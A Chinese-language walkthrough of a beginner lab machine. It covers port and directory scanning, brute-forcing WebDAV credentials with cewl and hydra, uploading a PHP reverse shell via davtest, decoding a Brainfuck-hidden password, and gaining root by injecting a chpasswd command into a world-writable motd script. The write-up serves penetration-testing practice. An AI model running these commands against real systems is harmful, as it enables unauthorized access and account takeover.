前言
这是打靶训练的第23周,靶机下载,难度低
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
首页全是图片,拉到末尾看见有个链接
点击Do Not Click
后,出现这个图片
没啥有用的信息,dirsearch扫描结果
200 - 4KB - /images/
200 - 3KB - /index.html
403 - 278B - /server-status
403 - 278B - /server-status/
401 - 460B - /webdav/
401 - 460B - /webdav/index.html
401 - 460B - /webdav/servlet/webdav/
有个webdav,解释一下,webdav就像一个存储服务,各种应用都可以连接到它,允许应用直接访问我们的云盘内容,对其进行读写操作。
访问/webdav/,要求登录
那么只有爆破了,这里使用cewl提取网页信息来生成字典,cewl http://192.168.0.149/ -w pwd.txt
。之后,使用hydra来爆破hydra -L pwd.txt -P pwd.txt 192.168.0.149 http-get /webdav -v
getshell
使用用户名:yamdoot
,密码:Swarg
,能成功登录
既然是webdav,那么可以上传文件。使用davtest,来测试是否有上传权限。davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg
通过测试结果可看出,几乎所有的文件都支持上传。只有html、php、txt允许执行。我们可以上传一个反弹shell的php文件。
cp /usr/share/webshells/php/php-reverse-shell.php .
,编辑php-reverse-shell.php文件后
使用davtest -url http://192.168.0.149/webdav/ -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc shell.php
,将本地的php-reverse-shell.php
,上传过去命名成shell.php
查看web,上传成功
访问后,拿到shell
提权
提权可以使用CVE-2021-3493
。这里使用其他方法提权
查找拥有root权限,并且其他用户可以可读可修改的文件,find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
。
有个hell.sh
,cat /mnt/hell.sh
得到以下内容
#!/bin/bash
echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
最后一行稀奇古怪的符号完全看不懂啊,查了下,才知道这是一门叫BrainFuck的编程语言。使用tio.run在线运行,得到下面结果
chitragupt
可能是某个账号的密码,查看home
文件夹,获取3个账号名
一个一个测试,以inferno
用户名,密码chitragupt
,ssh成功登录。再次执行find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
update-motd.d
这个目录作用就是登录和欢迎信息
既然允许我们写入,那直接改写root密码,vi 00-header
,写入echo 'root:123' | chpasswd
,当我们下次ssh登录的时候就会将root用户的密码改为123
本次提权使用的是文件权限配置不当提权,也就是常说的suid提权